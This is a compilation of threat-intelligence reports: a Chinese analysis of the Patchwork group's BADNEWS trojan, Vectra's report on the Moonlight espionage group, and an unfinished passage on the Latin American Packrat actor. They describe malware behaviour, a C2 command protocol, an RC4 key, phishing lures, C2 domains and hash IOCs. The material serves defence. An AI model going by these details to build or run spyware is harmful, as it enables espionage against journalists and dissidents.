BADNEWS木马首先通过WMI获取当前系统唯一标识UUID,用于标识受害主机。通过执行powershell获取系统上的所有服务,并将结果写入RTYgjfdg.sys文件。通过执行tasklist命令来获取当前正在运行的进程列表,并将结果写入RTYgjfdg.sys文件。通过遍历指定注册表项来获取当前系统安装的产品信息,同样将结果写入RTYgjfdg.sys文件。随后向指定地址dayspringdesk.xyz/wfgkl/cvrkaf/xkj/test.php发送POST请求,可以看到,该POST流量中包含加密后的数据。与以往不同的是,摩诃草组织似乎在尝试对BADNEWS木马进行改革,不再使用AES-CBC-128算法对数据进行加密,而是使用较为轻便的RC4算法进行加密,部分字段的数据在使用RC4算法加密后,还会使用Base64进行编码。其中RC4算法的加密密钥为“abcdefghijklmnopqrstuvwxyzABCD1234567890987654gzasdfghjklqwertpppqqq11111111110000011111”。将收集到的数据上传后,创建新线程来实现键盘记录功能,将其记录在atapi.sys文件中。随后通过nslookup来获取外部IP地址。将获取的IP、用户名、UUID等加密拼接后发送至C2。 BADNEWS木马向C2发送上述POST请求后,C2将返回对应的指令字符,用来控制BADNEWS木马的后续动作,其指令码功能如下: - 指令码 功能 - 1: 把收集的文件上传 - 2: 截图后经RC4加密上传 - 3: 退出 - 4: 下载TGJdbkds.exe并执行 - 5: 创建指定文件 - 6: 把键盘记录器记录的atapi.sys文件经RC4加密后上传 - 7: 远程命令执行 ## 关联分析 在摩诃草组织以往的攻击活动中,该组织擅长使用鱼叉攻击作为入口,将带有漏洞的文档向受害者投递,这些文档通常是RTF文档,由于是纯文本格式的文件,很容易让人放松警惕。本次攻击使用的Shellcode与之前攻击使用的shellcode在利用手法上并未改变。其次在后续载荷中,摩诃草组织持续使用BADNEWS木马进行攻击,并对加密方式、网络流量请求的一些字段均做了一些调整,以往攻击中的键盘记录器功能通过窗口类的消息循环来实现,而本次捕获的BADNEWS变种木马摒弃了这种做法,并简化了键盘记录的内容,不再记录包括时间和窗口名称的详细日志。 回看诱饵内容,可以发现键盘记录器结合诱饵内容,比较好的实现了对受害者信息的窃取。本次捕获的样本的上传地均为巴基斯坦拉合尔,可见摩诃草组织持续针对巴基斯坦进行情报刺探或信息获取。 ## 总结 摩诃草组织是一个长期活跃的组织,其攻击武器较为丰富,其攻击武器并不会因为被安全公司多次曝光而有所收敛,反而会持续更新其攻击武器库。此次捕获的攻击活动也可以看出该组织攻击手法灵活多变,是攻击能力较强的APT团伙。 虽然本次捕获的样本仅涉及南亚地区,但是我们要防患于未然。因此,奇安信红雨滴团队在此提醒广大用户,切勿打开社交媒体分享的来历不明的链接,不点击执行未知来源的邮件附件,不运行夸张标题的未知文件,不安装非正规途径来源的APP。做到及时备份重要文件,更新安装补丁。 若需运行,安装来历不明的应用,可先通过奇安信威胁情报文件深度分析平台进行判别。目前已支持包括Windows、安卓平台在内的多种格式文件深度分析。 目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括奇安信威胁情报平台(TIP)、奇安信天狗漏洞攻击防护系统、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等,都已经支持对此类攻击的精确检测。 ## IOCs - MD5 - CB50C0650B32911DAEB17217AC258AFE - 26991E42F4FA6DFAB84CFA886B4D51F0 - 729DD4604FDA4B19146D8F33509A43F6 - C2 - dayspringdesk.xyz
# Moonlight – Targeted Attacks in the Middle East Posted by Chris Doman on Oct 26, 2016 Vectra Threat Labs researchers have uncovered the activities of a group of individuals currently engaged in targeted attacks against entities in the Middle East. We identified over 200 samples of malware generated by the group over the last two years. These attacks are themed around Middle Eastern political issues and the motivation appears to relate to espionage, as opposed to opportunistic or criminal intentions. These are not technically sophisticated attackers. However, they do deploy some novel tactics, detailed below, and the implications of these attacks could be significant. Both the tools and targets of Moonlight are reminiscent of “Gaza Hacker Team,” a group of attackers that are said to be politically aligned to Hamas. In spite of these commonalities, we have not identified any firm links between the two groups. We refer to this group of attackers as Moonlight, after the name the attackers chose for one of their command-and-control domains. ## Moonlight’s Targets Vectra Networks worked with providers to sinkhole Moonlight’s command-and-control infrastructure. The hosts seen via our sinkhole show a clear targeting of Middle Eastern victims. Most of these victims are connecting from home networks, and are therefore unidentifiable, though one notable victim is a Palestinian news organization. Vectra believes the victims from the United States and China are outliers. These infected machines were primarily from university networks and were likely either security researchers sandboxing malware or overseas students targeted for links to their homeland. Indirect targeting data from the online virus scanning site VirusTotal, and traffic statistics from the URL linking services the attackers use indicate many of these attacks are targeted towards either small groups or individual targets. The attackers name their malware as documents of interest to their victims, to entice them to open them. The malicious decoy documents display themes relevant to Middle Eastern politics, and provide some indication as to who the intended targets may be: - 20160611-NCRI-AR-Rajavi-Syria-Ramadan.docx.exe - Assassination of Talal of Jordan YouTube.exe - Audio recording of the meeting of Egyptian Emirati.mp3.exe - Brigadier Alleno behind moral projection of Zakaria al-Agha.docx.exe - Fatah foreign conspiracies.exe - Weapons and ammunition stores found while digging a waterway in Egyptian Rafah.exe - Hamas and Fatah agree to the following.exe - Hamas and the Egyptian army.exe - Hamas and the Salafist jihadist in the Gaza Strip.scr - Hamas Betrayal.exe - Important leaking security meeting Arab Emirates.exe - Leaked audio recording of the meeting of Egyptian security Emirates.mp3.exe - Leaking important Arab Emirates security meeting.mp3.exe - Meeting of the Executive Committee of the PLO.exe - President sources oust Fatah leadership in Gaza and the cost Abu Samhadana to lead the organization.doc.exe - Sawiris and the project of the Suez Canal.exe - Sinai Bombings.docx.exe - The full truth behind Abu Ghussain's disease.exe - The grandson of President Abbas in the festival of love, and what response was Mr. Samir Mashharawi him.exe - The names of the perpetrators of the bombings in the Gaza Strip.exe - The son of Mufti takfiri Hamas fist anti-drug police.docx.exe Moonlight demonstrates that 0-days, or even exploits, aren’t required to successfully compromise machines. Instead, they show a preference for the classic social engineering approach of sending e-mails with attachments or links to files with the filename [legitimate file-extension].exe. Moonlight typically makes good on the promised theme of the lures, and presents the victim with a relevant “decoy document.” ## Impersonated News Organizations The attackers typically deploy malicious files via shortened URLs, presumably to look more innocuous. Many of the links and domains impersonate Middle Eastern media organizations such as Eln News and Wattan TV. One domain impersonating the media, Alwatenvoice.com, also hosts “landing pages” to encourage victims to download the malware. One Facebook user has shared a number of posts from the malicious Alwatenvoice.com. The second post is of particular interest. The Facebook information box says the article is from All4Syria.info, a popular independent news outlet reporting on Syria, but in fact it leads to Alwatenvoice.com. If a user clicks “play,” they are asked to download malware named “Syrian Prostitution Rings.mp4.exe.” The profile posting these malicious links has a very small number of public posts. The first post from 2015 shows the user setting their wallpaper to the logo of Fatah. There are two celebrations of Facebook friendship displayed publicly, one of whom can be identified from the name and Facebook profile information. Their details match that of a senior Fatah militant who Reuters reported was targeted for assassination during violent struggles between Hamas and Fatah in 2007. We would stress that even if the account is controlled by the attackers it could be an account that they have compromised, or impersonates an innocent and unconnected person. It is also possible that the account sharing the malicious links belongs to a user who is unknowingly spreading malicious content. ## H-Worm Moonlight typically delivers an obfuscated version of the widely available H-Worm, a malicious Visual Basic Script worm, as their first stage backdoor. Moonlight deploys an ever-changing range of deployment scripts to evade anti-virus software. Many of these use basic scripts within self-extracting RAR archives to install the malware. Records to URLs that users have submitted to VirusTotal record the attackers installing additional malware using the access they gained with the first stage H-Worm malware. Examples of this are recorded in URLs submitted to VirusTotal for the domain fun2.dynu.com. As with earlier stages, the attackers employ a number of methods to deploy the well-known njRat which seems to vary from sample to sample. In one example, the malware stores a program within a base64 compressed blob. This is then loaded into memory and executed using EntryPoint.Invoke(). ## A Significant Operation Moonlight’s command-and-control infrastructure is very simple. It consists of dynamic domains controlled via home internet connections in the West Bank of Palestine. We were surprised to identify a very large number of varied malware samples (over 200) attached to this simple infrastructure. The earliest attacks appear to be non-targeted, opportunistically inviting victims to click links on YouTube videos and social media posts typical of Middle-Eastern “hacktivists.” Later attacks appear to target particular groups or individuals. Moonlight’s usage of the Google URL shortening service allows us to roughly compare attacks over time. ## Who Are the Attackers? In general, the assigned IP-location of command and control servers is a poor indication of attacker locations. However, in this case, the provided locations of home networks in the Gaza Strip are likely to be accurate and fit with other details from the attacks. The attackers also demonstrate low operational security, particularly in their earlier attacks. Domain Whois records and social media posts provide strong ideas as to the identities of some of those involved. It would not be prudent to publish the identities of the possible attackers in a conflict zone. Perhaps a more interesting question is "What are the attackers’ aims?" Or if they are being directed, who is ultimately funding and tasking them? ## Countering Attacks Attacks such as these are often overlooked due to their low technical sophistication. But the stakes of these attacks are high, even if the attacker skill level is low. If the motivation behind these attacks is indeed political, the consequences could mean loss of life. Violence between rival political factions in Palestine has resulted in the deaths of hundreds of people. Individuals and organizations outside of the Middle East are unlikely to encounter the attacks by Moonlight. However, the tools and techniques deployed are typical of low-skilled but determined attackers within the Middle East and serve as an example of the kinds of attacks that often slip through. Moonlight’s strategy of obfuscating well-known malware appears to be fairly successful at evading host-based security mechanisms. The network communications of the well-known malware families such as H-Worm and njRat should still trigger existing network signature-based detection tools. Vectra customers are protected through the following generic detections: - Suspicious HTTP – Provides generic detection of HTTP based malware such as H-Worm - External Remote Access – Provides generic detection of RATs such as njRat - Malware Update – Provides generic detection of secondary malware over HTTP(S) Security professionals can review the Appendix for a full listing of file-hashes and domains employed in these attacks. Vectra Threat Labs operates at the precise intersection of security research and data science. We take unexplained phenomena seen in customer networks and dig deeper to find the underlying reasons for the observed behavior. ## Appendix ### Domains Any traffic to the following domains on your network should be investigated. Please note that many of these domains have been sinkholed by Vectra. - alwatenvoice.com - elnnnews-com.duckdns.org - fun1.dynu.com - fun2.dynu.com - fun3.dynu.com - fun4.dynu.com - fun5.dynu.com - h.safeteamdyndns.se - h0tmail.duckdns.org - hackteam1.spdns.de - hemma200.publicvm.com - hemma200.safeteamdyndns.se - hemma200.dynu.com - hp200.spdns.eu - hp500.linkpc.net - hp600.spdns.eu - moonlights.linkpc.net - new4.spdns.eu - opstin.spdns.eu - run500.linkpc.net - run900.linkpc.net - wattan24.duckdns.org - aman-news.com ### MD5 Hashes - ABD8F478FAF299F8684A517DCB1DF997 - 003F460F6EA6B446F31AA4DC57F3B027 - 568218BB07C021BBAB3B6D6560D7208C - AC19A1E5D604D82EF81E35756F3A10D1 - 0392F8BE82A297242BAAD10A9A2912EB - 573138482B185F493B49D3966650CDAD - AC3918287452FEBD3855FF4BC3D82A07 - 04A4CC757B4D283FF8DE246C19E8D230 - 5947BBAD60D4D00EF545E2FB3B1FD03E - AC89E42EE593CEA80030820618F2BCF6 - 04B2D3F38055B2B821B30E82C44D6040 - 59E18D4ED3C97279DB16984C07213EB1 - ACAB47BB5E8ED34056905FF63353CABC - 0512F533BF2E8E5EC9637B804C101C2B - 5BF5BE6B45292FBA0C0EDC415F248922 - ACCF82FC29467C08CE087072FEA3D14A - 05618077C03B80ACE066B9851966FBB1 - 5CC9964DD41BE3D9DACBD0425EC032A9 - ACD58BB34BB275DE1570917624ADE609 - 0606FEE55F39784E9889C1AAA0F27882 - 5CFD542A561F1EE679FCD6AA81991F3A - AE238D1E52CD4A9DECFE769FE5844747 - 064F0A5FCC869F6EB77405D3FE98AF87 - 5E59ACF240E2881B1C1E2F5586C9CA6F - AE9E9E3C73483E8B6C6E58E5629DC4D0 - 07EB24224A722EA9D8A3DC610B834D7A - 5F0437C7DC45D4C10A045954DB77DD31 - B053BBB499D68CCE1782B33FDE7B43FF - 0975222DE39433A25E672595B1960CDB - 61381610E76266423ACE96670DE45DC0 - B0B9332082E98D51CB7265A45A945A22 - 0A38DDCC3431BAE448E38C99562162EF - 6212E9A07225D6B71769D2BBBC20CD04 - B184FA51604D7EAA5A45350D1E08E5B7 - 0A49531FC0C00E991E51F34398F3AB88 - 6218A61D18F5A74F82ABC31A5F073C4B - B3FB8253595FED348464B5C9A01AD4AD - 0ABBD2765B563F2B8748485FA84DA070 - 62C0B9EA3638BEF977A7D33970E52E38 - B532676D6A5A6684B62A078BFBCBBD0B - 0AED206FC534C310724E122BF6BCDF7F - 63D933310CFB26EC9913A26BEF230A99 - B77A14A594A59C3B86EDD940FB35AB5E - 0B2023BC4ADFBB8157DA9147B9FAFACB - 64ACAFF36681B16C5717741E17DCB329 - B82DE5F1C26143083D988B06F6C927C3 - 0B40D67579AF550C0A3AEE359C2C71BA - 64AF25B42E21F01A213C32CC66CFD749 - B841E134EC7FE48095754742C8A2B8D7 - 0BD3B5C667878830DA088527D1B753EC - 655F56F880655198962CA8DD746431E8 - B929FC62DB2B3C8CC6A03063767BE125 - 0C15603B17FA333189AB5ED06E0993F7 - 696232159428BCB2BDA5AC2C755E8FED - BB15E754AE3B85A12447B448F6F7E43E - 0CA048153AC96E5C41243B364092AF07 - 69A042C9ED90A30444606407F77E199F - BBF576CF704B71C739E8777EB6C9FF82 - 0D67422BA42D4A548E807B0298E372C7 - 6C4B69C19F2C3AC23AC392B8631E31BB - BD2234DAE56580AAA7F880A7DB0F397D - 0E9B363DE7DD2B10AFD5D1947FA0E006 - 6C4D355411B8D7DA56A2C7C14693A3AE - BE23B3AFD1FD32C900F012CB2A8BA755 - 0F83377C44ADBA238FD0F0EB241981A6 - 6D418227FEB7A60727326583B52187E6 - C28376FC9EE627B51E3F52503397E2DC - 114B805F977E17558DD89E8029E29DF0 - 6E2E488CDDF1D15D0411F3838ED04683 - C291CFAC28F323F9808D633A8558A35A - 118A606FB131C082B55A5625661B666A - 6EE7264D4A974D0FFFED7F39652D1DAD - C64052167D6A183A3ECC259EE0F3A0C6 - 129F4B0A1F209784BF7071C14119BF9F - 71B00CBD186B1C168FD207B8F43FC8E0 - 1325AB5DCA14B58A8A7B9A8F5A1EE4DC - 72076B1B2D9CB0507E5C94C2B422CCE7 - C92E26AC3145718E531330B87772D216 - 13AF6A3C3A3908FD4E606A1F19B05714 - 72BEA803A834F7736679781A1D729B1F - CB539DFAEECC4BAF875A1E431701FF9D - 148A3E3CC76CF6753B15070FE3514DAE - 7681AE3933F3E13EB8E2A9BE281A5763 - CC9FAEC3F39EDAF7A59E9D9A7577451C - 14C1E03DE25811C3D6D467837A16BB29 - 76A68FE73FFF571F257A1B0F100ACA1D - CCFA1B31C47C9F124FEFE206301B3A5F - 15F7682A178F789EDB40CEAABA9E5103 - 77D02BE92D052F35604CAA9885DD9A77 - CD10D61A0D2D43A6AB16A9F50B1AD894 - 1673583BC5B7A485119D4A1342D6ADA8 - 7840F2473B3A0E0960A1925F3CD0C3B1 - CF51142459F7B40E751E91179C001299 - 17D70C318C6D16EA599E39550C44FA7F - 7A4588DC14AE38505662B75DA93CA8A7 - CFE26B57E168B6C6A18C668E36A3E939 - 1856F46DA93C3B152C358E0F6DB53402 - 7AEFB825277764CD9F31BC1F2370D18D - D179427D46D38D78A7A60512A4595496 - 1966F3B1D4ADEC25AB866C4E061A1E50 - 7C14974DD39B071558C619D16C4216DB - D24B6317064DA37D31CE4459AC7F4B69 - 1C4AB6CF907175D114C48C30A38BF379 - 7D1F1FED52745D36D737EFA7D43F4B95 - D297E0DB6D63A952B08B6F0E3FE101E7 - 1D693473FF431C7CEA3E7AB0130EAA3D - 7D27548E3F56FA532C571FB409ECD7B6 - D3C8ECF591381B31D3AA796471B5B0F1 - 1F644DE33D57C12A393B12F92A7C44C5 - 7DD199B0C678EF409A7DC461DE850849 - D5DFF6DB76B75D346D3B33BBA5B7CBFA - 215556AF1A5FEF7E08A6124D94487D2F - 7ED4897B11798F4639C73D57F901A661 - D5EEE8DC2507D46E1DC11F7B7441F506 - 21CE82DB335964B8624F8EB0668B539F - 833B3AF9BD8FFD0390BCA1D43EE78CC3 - D817FD5A442C7668607AE895D4298040 - 22CC7CE1E17852B6D09D5641B6ABCA0D - 83AD97BF1D5A9044AAFBA6AAC4B7387E - D9EACFF28841C51ACE9712AF78BCBDD0 - 24D2CE38D2886A00E678E8C23AD8D1CA - 841C3AFAA8CAF0AC33BF783D5FEAEADB - DD2D6B625E7ADD1528311A0CF5FD5EAE - 276E54A5E32BEF12367C5B31BF9C179E - 8492C3111C7C0998F0DC1B63967E5C65 - DDD73E73BE2CC934D5721D4FC62CD98C - 27A1891DB06D316B43A48DDEFEBF73BF - 853A53CF799E2E3E1FC244A0751A4E96 - DDEEE52C00A95167353215D14B3AAA68 - 2851685F217EB1CE573FC2BAE7918801 - 8799B3D6B2CE50D4DD5F5114635A4B96 - DE2E753D12CE07F7B3F97C498D3477F8 - 28FBFD2AD1B500B62377DDE5795CDF85 - 87E5555CFF74D41551D6D29B9C01C0CB - DF38B1562E4F0B735B3E10BAE78DF2A9 - 2930596D4E1328B79C349455E71EE1B0 - 8943A561F0839D43B8BD476357992540 - E1B56D70FA5397509F901ED72724A5E9 - 29771C26BFDD125E7427CD57A98730FF - 897061CD7F0BBAE1B024ED9C1C1998A1 - E3E2CD771C8183464737233D17CD6A09 - 2993B77D82622D665F9B2F06C89741BE - 8A2E5662ED22D0D555E6B90FE5E1C902 - E42CD849370F2BE67F40B97B5D741B37 - 2A0F5D8C5BC021A1CEFED7442B02DF52 - 8AD4C22449B98339548D38BF87BF50AAE613FBAAF0E64B1CA740F9859D5CAF0B - 2AB91CEDD813E306248E545075C60866 - 8BE6FBAD0618D6A398966AF3D20F5418 - E61732ADD06F5EB98FE6AD42CE9682F6 - 2C8C94E85EF8C757586590E8D1ABDC6C - 8F8E5A9553A27A9341ED6022028B231D - E8909F06EF95B222121B72E12DB2111D - 2CBD8E0EB9DF67E7D304F28803D4529E - 8FDD4BA7920B3D6AB2F0106FDF4ED702 - E8C4A336C901A8799525EA30486838B3 - 2DC30F736F1A485DBBEED63EC9259726 - 8FF5EF99FAF5E17B7D5B46585BAC7B43 - EA788C263E04B93D36E0D82BB7D1BC05 - 2E49F5BD50A4E82DB05B4E42F18536F3 - 90C49D0CEF0DFCFF3C09723A9918688D - EB7B7C974A66E7F9A0EAD3113F949EC8 - 2F352CD6486C518DDC61B7EBBEAB5F01 - 927DBA3C9B98FD749017E3DEE270136B - ECB97F19AB0568CD0536567A7DEF44FF - 348D6C08F155F0781574C34E573B6F1F - 940A1B2C537FA2F764283795E9B665BA - EF53161673CA4CAA7E9C4B33A0D02A90 - 36E3307F26E5B8BDBA30D7EA7CA62CD8 - 968EF6CB0DFB082DF7A68C3B8869C57B - EFCA552B3CA4B8FF8686FD313FF2D48E - 37CB0DF3AF8D3CA2086EEDAF3479D21C - 974037C602A559C471BBDA3D07F50650 - EFE54DF820FA8434CF14A5A8F55F52B7 - 39581B22FB078851D6DAA492C4F5BE97 - 97AA47094205DF17C15ED216227C4DA8 - F007B759A30EDF46FD921E2D87A39D5D - 3CE01AD1B116943F5FB1B2925C5DCAF1 - 99215ADB3D924F52D69BEAB6981791EB - F17CD2526A0E46D806863E1320A2CF5B - 3D2E266B9FDAD45AEF7D83164BEB7A37 - 992D434A726B9C50851B809FB95C169B - F33B62D496F58E752BB190296781CFF9 - 3EAA4C1C6716133612CBA0EA4A6905B5 - 9A9D01BCB93EF99E1B8EBF727D72E91F - F48AAB23D1DEF618449D705146153966 - 40E9ED913857D5196368A64D9972FCB8 - 9EF41A195932EDE4E9E6800E7D272A2E - F59453D2FF8F29617DB23201C568017C - 4484EB027D30C4705717CDE931245827 - A12EB4CD0CAD629FCE59AE5120B82133 - F7CF132313438115B0BBED035078FB1C - 476764A1E6E121CF59C7F101F0E14968 - A1E60D076CC9488EB7D86BD70FF70154 - F8AD6A207BEE8C042220CC52AF2DAC29 - 4791667A4935718C4A55FA23EB18A520 - A2E82ED55692BF64B819117C48F13F62 - F8FF494B1C0403C3C99C6D67BEF7069A - 48A8E95E79787EB27465AAD52855788A - A3296E4D931583415C2B1B7A68C96508 - F93A95668040E143F19F94210CA18D88 - 4C325C62D2CD9A69AA2CCF920A61B4C1 - A3DFD16AC5E2E0343E61E19C13FCFF2B - FA428FEF017B496DCAE6428889114FCC - 4E3925ABF0CB66CE4476DFFC41131396 - A62DE1A146EEC778344600F8EEE86DA9 - FA8C119B3F0B1F9C2AA9F5D8908C9536 - 4EB6B5F6E3CB72869F29D567AC888C05 - A7BF176D5BD80C2AD3815EC41E9BA6E6 - FBB0BA6E2E570CA1B4F495F3040B6F6D - 50B1E6E24A1DB4D68A2D51BD7115BAA3 - A7F58A9D83CA22846282994A0393FB82 - FE71389ACD3EE1B42A0895668C73DC21 - 517822AF63D640DFE8C6590B36AD8F80 - A803F9914141F2CA72EB0C2162E2BA36 - FE742125449AFABB37B21844171FBC99 - 51817D6FA9F1BA398176ABE63230568A - A866F515362066AEA4BBEF0B6C1BDB13 - FF295CF738DE580E2EE41D0100C848AE - 53BADCB66F848805E781716F95CF10AB - AA45A3DFD4E7329DF37D8C74F0DA01B4 - FFE598B9C3DE334571881035D478ABE4 - AA4774F70E080AB0A33C6B8F83C70589 **Topics:** Targeted Attacks, Malware Attacks, Cyber Security, Threat Labs
# Packrat: Seven Years of a South American Threat Actor **Summary** This report describes an extensive malware, phishing, and disinformation campaign active in several Latin American countries, including Ecuador, Argentina, Venezuela, and Brazil. The nature and geographic spread of the targets seems to point to a sponsor, or sponsors, with regional political interests. The attackers, whom we have named Packrat, have shown a keen and systematic interest in the political opposition and the independent press in so-called ALBA countries (Bolivarian Alternative for the Americas), and their recently allied regimes. These countries are linked by a trade agreement as well as cooperation on a range of non-financial matters. After observing a wave of attacks in Ecuador in 2015, we linked these attacks to a campaign active in Argentina in 2014. The targeting in Argentina was discovered when the attackers attempted to compromise the devices of Alberto Nisman and Jorge Lanata. Building on what we had learned about these two campaigns, we then traced the group’s activities back as far as 2008. This report brings together many of the pieces of this campaign, from malware and phishing to command and control infrastructure spread across Latin America. It also highlights fake online organizations that Packrat has created in Venezuela and Ecuador. **Who is responsible?** We assess several scenarios and consider the most likely to be that Packrat is sponsored by a state actor or actors, given their apparent lack of concern about discovery, their targets, and their persistence. However, we do not conclusively attribute Packrat to a particular sponsor. ## Part 1: Packrat’s Seven Years of Activity The authors of this report have been independently investigating malware and phishing campaigns in Latin America. This report is the result of discovering that the cases we have been investigating are linked by a common threat actor with targeting in several countries, including Venezuela, Ecuador, Argentina, and Brazil. We refer to this threat actor as Packrat, to highlight their preference for packed, commodity Remote Access Trojans (RATs), and their retention of the same domains and servers over many years. Packrat has systematically targeted high-profile political figures, journalists, and others in several countries with malware and phishing. In total, we uncovered 12 different malware command and control domains and over 30 samples of malware stretching over a seven-year time period. Packrat also favors an interesting strategy: create and maintain fake opposition groups and news organizations, then use these to distribute malware and conduct phishing attacks. Some of these organizations exist in name only, while others have a more elaborate online presence. Packrat has also created elaborate fake news organizations without any evidence we can find of malware or phishing activity. We chart Packrat’s activities back to at least 2008. Through correlation of network infrastructure, we identified several waves of activity, coupled with changes in tools and tactics. This section provides a brief chronology of Packrat’s network infrastructure and activities. ### Packrat’s Greatest Hits **2008-2013** Tools and infrastructure used by Packrat suggest that they have been active since at least 2008. During this period, Packrat used hosting services in Brazil, and some of their malware samples were uploaded from Brazilian IP space to popular online virus scanning services. Some of the messages they sent also contained Brazilian bait content. While this is suggestive of Brazilian targeting, we have yet to find confirmed victims from this period. **2014** By 2014, Packrat was targeting high-profile Argentine lawyer Alberto Nisman and well-known investigative journalist and television news host, Jorge Lanata. Maximo Kirchner, son of Argentina’s president, also announced that he was targeted. The screenshot he released of the phishing email he received is consistent with what we have seen, although we have not been able to verify his claims. In addition, a number of phishing domains with Ecuadorian and Venezuelan targeting that we identified became active during this period. **2015** 2015 seems to have marked an extensive campaign of phishing and malware attacks targeting civil society and public figures, including parliamentarians in Ecuador. We observed a range of phishing domains and attacks, often using fake organizations during this period. We also found fake organizations and possible disinformation campaigns with targets in Ecuador, Venezuela, and the Venezuelan diaspora. ### 1.1 Nisman and the Argentine Cases In January 2015, controversial Argentine prosecutor Alberto Nisman was found dead of a gunshot under suspicious circumstances. Argentine news reported that a malicious file was found on his Android phone by the Buenos Aires Metropolitan Police forensic lab. The file was named “estrictamente secreto y confidencial.pdf.jar,” or “strictly secret and confidential” in English. An identically titled file was uploaded to VirusTotal from Argentina on May 29, 2015. The file was a remote access toolkit, known as AlienSpy, which allowed an attacker the ability to record the activities of a target, access their email, their webcam, and more. However, the file was built for the Windows operating system and could not have infected Nisman’s Android phone. The initial analysis of the AlienSpy implant by Morgan Marquis–Boire revealed the command and control server of the attackers to be deyrep24.ddns.net. In addition to the malware apparently used to target Nisman, Lanata, and Kirchner, three other samples were found which used deyrep24.ddns.net as a command and control domain. One of these, 3 MAR PROYECTO GRIPEN.docx.jar, was a build of AlienSpy which masqueraded as a document containing communication between Ecuadorian President Rafael Correa and Ecuador’s Ambassador to Sweden concerning the acquisition of fighter jets. After the finding was made public, other targets came forward. Prominent investigative journalist and television host Jorge Lanata revealed that he too had been targeted by the same malware. The president’s son, Maximo Kirchner, also claimed to have been targeted. We were unable to verify Kirchner’s claim; however, a screenshot showing his targeting was included in a report of this claim. ### 1.2 Ecuadorian Campaigns In 2015, we began independently receiving a growing number of reports of phishing attacks via e-mail and SMS targeting journalists and other public figures in Ecuador. Some emails we examined had no political content but were simple credential phishing for social media and email providers, like Gmail. Others, however, had explicit political content concerning a range of political figures and issues in Ecuador. Further investigation revealed an extensive campaign, as well as many fake organizations. One of the authors developed a Gmail search query for strings associated with the attacks. We shared this query with many potential targets, resulting in hits for phishing attacks, as well as suspicious Microsoft Word (DOCX) files sent to a range of journalists and public figures. These documents contained embedded RATs written in Java, including Adzok and AlienSpy. Subsequently, using indicators found in the JAR files, as well as an updated Gmail query, we were able to identify a larger set of malicious files and domains used by Packrat. We found a dense web of interconnections between phishing and malware sites. Sites often shared registration information or were hosted from the same servers. We determined that the malware samples typically communicated with daynews.sytes.net, which is linked to the Argentine cases. Ultimately, investigation of this infrastructure also revealed malware and infrastructure in Brazil and fake sites in Venezuela. ### 1.3 Shared Command & Control Infrastructure Packrat’s deyrep24.ddns.net domain was created on November 7, 2014, and at the time of Nisman’s targeting, pointed to the IP address: 50.62.133.49. This IP address belongs to a GoDaddy range for dedicated hosting, and on March 3, 2015, the domain moved to another GoDaddy IP: 192.169.243.65. Passive DNS records revealed that at the same time as this IP was being used by the deyrep24.ddns.net command and control domain, it was being used by the domain daynews.sytes.net which had been created on March 1, 2015. Over the course of our joint investigation, we found five samples of malware using this domain which were used to target journalists and civil society in Ecuador. ### Packrat’s Command & Control Infrastructure | Domain | Relevant Resolution | Relevant Date of Resolution | |------------------------------|-----------------------------|-----------------------------| | deyrep24.ddns.net | 50.62.133.49 | November 7, 2014 | | | 192.169.243.65 | March 3, 2015 | | daynews.sytes.net | 192.169.243.65 | March 3, 2015 | | | 190.210.180.181 | March 1, 2015 | | taskmgr.serveftp.com | 190.210.180.181 | August 11, 2014 | | | 201.52.24.126 | July 23, 2014 | | | 186.220.1.84 | July 11, 2014 | | taskmgr.servehttp.com | 186.220.1.84 | June 24, 2014 | | | 201.52.24.126 | July 23, 2014 | | | 186.220.1.84 | July 11, 2014 | | | 186.220.11.67 | August 15, 2014 | | taskmgr.redirectme.com | 201.52.24.126 | July 23, 2014 | | | 186.220.1.84 | July 11, 2014 | | ruley.no-ip.org | 186.220.1.84 | July 11, 2014 | | | 189.100.148.188 | September 6, 2012 | | lolinha.no-ip.org | 189.100.148.188 | September 6, 2012 | | wjwj.no-ip.org | 189.100.148.188 | September 6, 2012 | | conhost.servehttp.com | 186.220.11.67 | August 15, 2014 | | dllhost.servehttp.com | 186.220.11.67 | August 15, 2014 | | wjwjwj.no-ip.org | 179.208.187.216 | March 25, 2014 | | | 186.220.1.84 | June 24, 2014 | | wjwjwjwj.no-ip.org | 179.208.187.216 | March 25, 2014 | On July 11, 2014, all ‘taskmgr’ domains were hosted on 186.220.1.84, an IP address in Brazil. At the same time, this IP address was hosting ruley.no-ip.org. We managed to find a malware sample using both ruley.no-ip.org and taskmgr.servehttp.com as command and control domains. On September 6, 2012, ruley.no-ip.org was hosted at 189.100.148.188, another Brazilian IP address, along with two other domains lolinha.no-ip.org and wjwj.no-ip.org. We found two samples configured with all three of these domains as command and control servers, three samples which used both ruley.no-ip.org and wjwj.no-ip.org, two samples just using wjwj.no-ip.org, and one sample just using ruley.no-ip.org. On August 15, 2014, taskmgr.servehttp.com was hosted on 186.220.11.67, another IP address in Brazil. On the same date, this IP hosted both conhost.servehttp.com and dllhost.servehttp.com. We found two samples configured with both conhost.servehttp.com and dllhost.servehttp.com as command and control servers. In addition to these domains, the domains wjwjwj.no-ip.org and wjwjwjwj.no-ip.org appear to be related. On March 25, 2014, both wjwj.no-ip.org and wjwjwj.no-ip.org pointed to 179.208.187.216. On June 24, 2014, both taskmgr.servehttp.com and wjwjwjwj.no-ip.org pointed to 186.220.1.84. We didn’t manage to find malware samples related to either wjwjwj.no-ip.org or wjwjwjwj.no-ip.org. The command and control servers behind these domains were hosted with a variety of providers around Latin America, including Uruguay Montevideo Administración Nacional De Telecomunicaciones, Argentina Buenos Aires Nss S.A. (IPLAN), and Claro Brazil. Packrat has also used servers in Europe and the US, including Portlane AB in Sweden and GoDaddy in the United States. We have notified hosting providers in order to facilitate the shutdown of Packrat’s infrastructure. ## Part 2: Recent Malware Attacks in Ecuador Packrat is active in many countries, but it is in Ecuador that we were able to gather the most systematic evidence of their activities, as well as connect directly with targets and victims. We are also tracking active attacks against Ecuadorian targets at the time of writing. Using email inbox search queries that we shared with potential targets, as well as analysis of malware databases and seeding infrastructure, we collected a diverse set of malware and phishing attacks targeting journalists, public figures, politicians, and other prominent individuals. ### 2.1 Previous Reports of Packrat Malware in Ecuador There are public reports, as well as social media mentions, that point to politically-linked malware attacks in Ecuador by Packrat. For example, Ecuadorian freedom of expression organization Fundamedios reported that public figures, satirical news organizations, the director of Fundamedios, and others had received suspicious messages and phishing attempts. Fundamedios later updated their reporting to note that Access Now had stated that some of these attacks shared command and control infrastructure with the malware that was reportedly used to target Nisman. There are also indications on Twitter of phishing attacks and malware. We have been able to link many of these reports to Packrat. ### 